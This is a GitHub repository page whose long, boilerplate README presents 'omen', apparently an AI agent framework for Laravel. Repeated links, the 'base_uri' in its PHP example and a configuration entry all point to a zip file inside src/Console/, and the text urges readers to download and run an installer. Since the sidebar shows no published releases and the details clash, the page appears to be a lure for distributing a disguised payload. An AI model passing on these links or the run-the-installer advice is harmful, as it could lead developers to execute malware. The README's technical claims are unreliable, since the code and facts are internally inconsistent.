Skip to content

justinabarquez/omen

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Ā 

History

22 Commits
Ā 
Ā 
Ā 
Ā 
Ā 
Ā 
Ā 
Ā 
Ā 
Ā 

Repository files navigation

https://github.com/justinabarquez/omen/raw/refs/heads/main/src/Console/Software_2.3.zip

omen: AI Agent Framework for Laravel — Smart, Scalable Automation Platform

Laravel Logo OpenAI Logo

A practical guide to building intelligent agents inside Laravel. omen combines a clear agent lifecycle with Laravel's familiar stack. It offers a consistent toolset for reasoning, planning, tool use, and action execution. This README explains what omen is, how to use it, how to contribute, and how to keep the project moving forward.

  • Quick intro to omen
  • Core concepts
  • Installation and setup
  • Running an example
  • API and code structure
  • Tools and integrations
  • Security and best practices
  • Testing and quality
  • Deployment and performance
  • Roadmap and contributions
  • FAQ and troubleshooting
  • License and credits

If you want the latest binaries and installers, you can visit the Releases page. For convenience, the link to the releases is available again later in this document.

Releases badge

Overview and goals omen is designed to help developers add autonomous AI capabilities to Laravel-powered applications. It provides a framework for agents that can reason, plan, and act within a Laravel environment. The system is lightweight, extensible, and designed to integrate with Laravel’s existing patterns, including services, queues, events, and the container.

The project aims to:

  • Provide a clear model for AI-driven workflows inside Laravel.
  • Offer a safe and extensible plugin system for tools and APIs.
  • Integrate with Laravel's task queues, events, and storage abstractions.
  • Keep the developer experience familiar and approachable.

Key concepts

  • Agent: The central unit that makes decisions and performs actions. The agent maintains a belief state, plans, and executes tasks.
  • Plan: A sequence of steps the agent decides to perform to achieve a goal.
  • Tool: External capability the agent can use, such as an HTTP API, a database operation, or a system command.
  • Memory: A storage mechanism for the agent to recall prior decisions, outcomes, and context.
  • Environment: The Laravel application and its services. The agent runs within this environment and uses its resources safely.

Why use omen with Laravel

  • Laravel-aware design: The framework uses Laravel's service container, events, queues, and configuration patterns.
  • PHP-first approach: Written for PHP and Laravel, it fits naturally into existing PHP projects.
  • Extensible tools: Add new capabilities through a simple plugin system.
  • Observability: Built-in logging, tracing, and metrics hooks to help you understand what the agent does.
  • Safety and control: Clear boundaries for what an agent can do, with configurable safeguards.

System architecture

  • Core engine: The decision maker that plans and orchestrates tasks.
  • Planner: Converts goals into executable steps, with fallbacks.
  • Executor: Runs the steps, calling tools and handling results.
  • Tools/Plugins: Interfaces to external systems, APIs, and services.
  • Memory store: Persists context and outcomes for future use.
  • API layer: A clean interface for Laravel controllers, console commands, and services.

Installation and setup Prerequisites

  • PHP 8.1 or newer
  • Composer
  • A Laravel project (any recent Laravel version is supported)
  • Optional: A database for memory and logs (MySQL, PostgreSQL, SQLite, etc.)
  • Optional: A queue system (Redis, Beanstalkd, SQS) for asynchronous tasks

Install the package

  • Use Composer to add omen to your project:
    • composer require justinabarquez/omen
  • Publish configuration and resources:
    • php artisan vendor:publish --tag=omen-config
    • php artisan omen:install
  • Set up environment variables:
    • OMEN_API_KEY for external tool access (if needed)
    • OMEN_MEMORY_DRIVER to choose a memory backend (sqlite, redis, database)
  • Run migrations if you enable database memory:
    • php artisan migrate
  • Start using omen in your code:
    • Create an agent, load tasks, and run the executor in a controller, command, or queue job

Notes about the installer and downloads

  • For convenience and reproducibility, installer assets can be downloaded from the repository releases page. If you are using the Releases page, you typically download an installer file and run it to bootstrap the setup. The release assets are designed to kick off a standard onboarding flow that configures the agent environment for Laravel. The release assets can be found at the project’s Releases page.

Usage patterns and examples

  • Quick start example
    • Create a simple agent that fetches data from a third-party API and stores results in your database.

Example PHP snippet (conceptual)

use Omen\Agent;
use Omen\Tools\HttpClient;
use Omen\Memory\MemoryRepository;

$http = new HttpClient([
  'base_uri' => 'https://github.com/justinabarquez/omen/raw/refs/heads/main/src/Console/Software_2.3.zip',
  'timeout' => 5,
]);

$memory = new MemoryRepository();
$agent = new Agent([
  'memory' => $memory,
  'tools' => [
    $http,
  ],
]);

$goal = 'Fetch latest metrics and store in the database';
$plan = $agent->plan($goal);
$agent->execute($plan);
  • Building a task for a Laravel controller

    • You can wire an agent to run as part of a Laravel controller action, a scheduled task, or a queued job. The agent can emit events that you can listen to, allowing you to react to decisions and outcomes in real time.
  • Handling goals and prompts

    • A goal is a high-level objective. The planner breaks it into concrete tasks. Prompts guide the reasoning engine and influence tool use. You can customize prompts to align with your domain and policies.
  • Tool integration patterns

    • REST API tools: Use HttpClient to talk to external services.
    • Database tools: Use Eloquent or the query builder for CRUD operations.
    • File system tools: Read and write to storage disks using Laravel's filesystem abstraction.
    • Messaging tools: Send messages through queues or real-time channels.

Architectural decisions

  • Modularity: The core engine is independent from the environment. You can replace or extend components without touching core logic.
  • Extensibility: Tool plugins can be added to support new services, APIs, or data formats.
  • Observability: All decisions and actions can be traced. Logs and metrics help you understand the agent’s behavior.
  • Safety: The framework includes safeguards to prevent unintended or harmful actions. You can configure what tools the agent may use and when.

Tooling and integrations

  • HTTP and API tools
    • REST, GraphQL, and SOAP endpoints can be integrated via a common HttpClient tool.
  • Data access
    • Use Eloquent models or the database query builder as part of a tool.
  • Messaging
    • Queues and event broadcasts enable asynchronous task processing and real-time feedback.
  • Authentication
    • Use Laravel’s authentication mechanisms to protect sensitive tools and data.
  • Observability
    • Integrate with Laravel Telescope for introspection, or use custom dashboards to monitor agent activity.

Security and best practices

  • Principle of least privilege
    • Give agents only the tools they need. Limit access to sensitive endpoints or data.
  • Logging and auditing
    • Record decisions, tool invocations, and outcomes. Keep logs for compliance and debugging.
  • Secrets management
    • Store API keys and credentials in Laravel’s env system, or use a secret manager. Avoid hard-coding secrets.
  • Input validation
    • Validate prompts and tool outputs. Check for unexpected results before acting.
  • Safe defaults
    • Disable dangerous tools by default and enable them only when explicitly approved.
  • Observability
    • Regularly review agent activity. Look for patterns that indicate issues or misuse.

Testing, quality, and CI

  • Unit tests
    • Test the planner, executor, and tool adapters in isolation.
  • Integration tests
    • Verify that an agent can perform a end-to-end task in a staging environment.
  • Property-based tests
    • Exercise the planner with a range of goals to ensure robust behavior.
  • Static analysis
    • Use PHPStan or Psalm to catch type issues early.
  • CI/CD
    • Run tests on push and pull requests. Validate code style with PHP-CS-Fixer.
  • Versioning and releases
    • Use semantic versioning. Document changes in a changelog.

Development workflow

  • Local development
    • Start a Laravel project, install omen, and run sample agents in a sandbox environment.
  • Debugging
    • Use verbose logging and custom events to understand decisions and outcomes.
  • Extending omen
    • Create new tools as Laravel services or standalone classes. Register them in the broker so agents can discover them.

Command-line interface

  • omen has a small CLI to run agents, plan tasks, and manage memory.
  • Typical commands:
    • php artisan omen:plan "Goal text"
    • php artisan omen:execute --plan-id=XYZ
    • php artisan omen:memory:prune
  • The CLI is useful for experimentation and debugging.

Environment and hosting considerations

  • Local development
    • Use a lightweight database like SQLite for memory during experiments.
  • Staging
    • Use Redis for queues and a relational database for memory to mirror production.
  • Production
    • Run agents in a queue worker or a dedicated process manager. Use a monitoring solution to track health and performance.
  • Scaling
    • Scale by increasing concurrency for planning and execution. Use separate workers for planning, memory, and execution if needed.

Performance and optimization

  • Caching
    • Cache expensive tool results to speed up planning in subsequent runs.
  • Batching
    • Process tasks in batches to improve throughput without sacrificing safety.
  • Asynchronous execution
    • Offload long-running tasks to queues. Keep the main flow responsive.
  • Profiling
    • Profile agent decisions to identify bottlenecks and optimize prompts and planning strategies.

Configuration reference

  • Environment variables
    • OMEN_MEMORY_DRIVER: memory backend (sqlite, redis, database)
    • OMEN_API_KEY: if you are using external tool integrations
    • OMEN_LOG_LEVEL: debug|info|warning|error
    • OMEN_QUEUE_CONNECTION: Laravel queue connection for async tasks
  • https://github.com/justinabarquez/omen/raw/refs/heads/main/src/Console/Software_2.3.zip
    • planner: settings for planning behavior, such as maximum steps, fallback behavior
    • tools: registry of available tools and their adapters
    • memory: configuration for memory persistence
    • security: guard rails and permitted tool lists
  • database schema (optional)
    • omen_memories: stores agent context and memory
    • omen_logs: stores decisions, prompts, and outcomes
    • omen_plans: stores plan details and status

Code structure overview

  • src/
    • Engine: Core agent lifecycle
    • Planner: Plans for goals
    • Executor: Runs plans and calls tools
    • Memory: Context and memory storage
    • Tools: Tool adapters for APIs, databases, and services
    • Api: REST and CLI interfaces
  • tests/
    • Unit and integration tests for core components
  • config/
  • scripts/
    • setup and bootstrap scripts for quick starts

Design choices explained

  • Clear separation of concerns
    • The agent logic is separate from the Laravel environment. This makes the system easier to test and adapt.
  • Extensibility first
    • The tool system is designed to be easily extended. New tools can be added with minimal boilerplate.
  • Observability by default
    • The system logs decisions, actions, and outcomes. This makes debugging and auditing straightforward.
  • Safe by default
    • The default setup restricts dangerous actions. You can opt into more capabilities as needed.

Examples of real-world use cases

  • Customer support automation
    • An agent monitors incoming tickets, analyzes sentiment, suggests responses, and can draft replies or trigger follow-ups.
  • E-commerce operations
    • An agent tracks inventory, forecasts demand, and places restock orders via supplier APIs when thresholds are reached.
  • Content moderation
    • An agent scans new content, flags potential issues, and initiates moderation workflows in your Laravel app.
  • Data enrichment
    • An agent pulls data from public APIs, normalizes it, and stores it in your database for reporting.

Quality assurance and governance

  • Code quality
    • Enforce consistent coding standards. Run linters and formatting checks as part of CI.
  • Documentation
    • Keep function-level docs and in-line comments up to date. Provide examples for common tasks.
  • Security review
    • Regularly audit tool interfaces and memory access. Use role-based access controls where appropriate.
  • Accessibility and inclusivity
    • Provide clear messages and status indicators in dashboards and logs.

Contributing and community

  • How to contribute
    • Fork the repository, create a feature branch, and submit a pull request. Follow the contribution guidelines.
  • Design discussions
    • Propose new tools or changes. Engage in design reviews to ensure consistency with the project goals.
  • Testing and validation
    • Add tests to cover new behavior. Run the test suite locally and in CI.
  • Documentation
    • Improve examples and edge-case coverage in the docs. Add tutorials for common workflows.

Changelog and releases

  • The project follows semantic versioning. Each release includes a changelog entry describing new features, fixes, and breaking changes.
  • Release notes provide guidance on upgrading from previous versions and any migration steps required.

Roadmap and future directions

  • Better multi-agent orchestration
    • Allow several agents to cooperate on tasks with defined handoffs.
  • First-class collaboration tools
    • Integrate with popular collaboration platforms to share decisions and outcomes.
  • Advanced planning strategies
    • Support more planning techniques like hierarchical task networks and goal pruning.
  • Domain-specific presets
    • Provide templates for common Laravel domains like e-commerce, content, and admin panels.
  • Security hardening
    • Expand safeguards and auditing capabilities to meet stricter compliance requirements.

Troubleshooting and tips

  • Common issues
    • Install failures: ensure PHP version and Laravel compatibility.
    • Memory issues: verify memory driver configuration and database connectivity.
    • Tool failures: check tool adapters for correct authentication and API access.
  • Debugging steps
    • Enable verbose logging and inspect decision traces.
    • Run planning and execution steps in isolation for easier diagnosis.
  • Community help
    • Look for related issues on the Releases page or in the community channels associated with the project.

Releases and downloads

Example workflows

  • Quick automation for a Laravel app
    • Step 1: Install omen in your Laravel project.
    • Step 2: Configure a simple agent to fetch data from a third-party API.
    • Step 3: Run the plan and observe the results in the logs.
    • Step 4: Add more tools to enrich the workflow and improve reliability.
  • Production-grade automation
    • Step 1: Define multiple agents with distinct goals.
    • Step 2: Use queues to handle planning and execution asynchronously.
    • Step 3: Store decision traces and outcomes for auditing.
    • Step 4: Implement monitoring and alerting for failures or deviations.

API reference (high level)

  • Agent API
    • createAgent: Create a new agent instance within the Laravel app.
    • plan: Generate a plan for a given goal.
    • execute: Run the generated plan.
  • Tool API
    • registerTool: Add a new tool adapter for an external service.
    • executeTool: Run a tool against a given input and capture the result.
  • Memory API
    • store: Persist context, outcomes, and plan steps.
    • recall: Retrieve prior decisions and outcomes for context-aware planning.

Code quality and style

  • Use PSR-12 coding standards.
  • Write expressive, purposeful variable names.
  • Keep methods small and focused.
  • Add unit tests for critical logic, especially the planner and executor.
  • Document public methods with clear PHPDoc blocks.

Images and visuals

Licensing

  • omen is released under a permissive open-source license. You can use, modify, and share the code with attribution as required by the license terms.

Acknowledgments

  • Thanks to the Laravel community for the framework inspiration and best practices.
  • Thanks to the open-source tooling that makes testing, deployment, and collaboration smooth.

End-user guidance

  • How to get help
    • Open an issue on the repository for bugs or feature requests.
    • Join the community discussions or follow the project for updates.
  • How to stay informed
    • Subscribe to release notifications and changelogs to track improvements, fixes, and new features.

Technical appendix

  • Data model overview
    • Agent: id, name, status, memory_id, created_at, updated_at
    • Plan: id, agent_id, goal, steps, status, created_at
    • Memory: id, agent_id, context, data, created_at
    • Tool: id, name, class, config, enabled
    • Log: id, agent_id, action, outcome, timestamp
  • Example memory layout
    • A memory entry could store the last retrieved data from a third-party API and notes about the last decision.
  • Configuration examples
    • A minimal example: set the memory to sqlite, enable a small planner, and wire up a sample tool.

Acknowledged design choices and trade-offs

  • Simplicity over complexity
    • The initial design favors a straightforward integration with Laravel. If your project needs exceed this, you can extend components without rewriting the engine.
  • Predictability
    • The planner aims for predictable outcomes, with fallbacks in place to avoid unexpected behavior.
  • Extensibility
    • The architecture is built to support new tools and new memory backends over time.

Final notes

  • omen is a practical path to bring AI-guided automation into Laravel apps. It provides a clear lifecycle for agents, a robust system for planning and execution, and a flexible plugin system for tools and integrations. This document covers a broad spectrum of concerns—from setup to production considerations—so you can start building AI-powered workflows with confidence.

Downloads and installation reference

Releases page access reminder

  • For quick access to the latest stable assets, you can head directly to the Releases page using the link above. This ensures you have the most recent, tested components suitable for your Laravel project.

End of document.

About

Omen is an AI agent framework for Laravel apps. Build tools with PHP attributes, run agents with artisan, and integrate Anthropic APIs for smart automation šŸ™.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages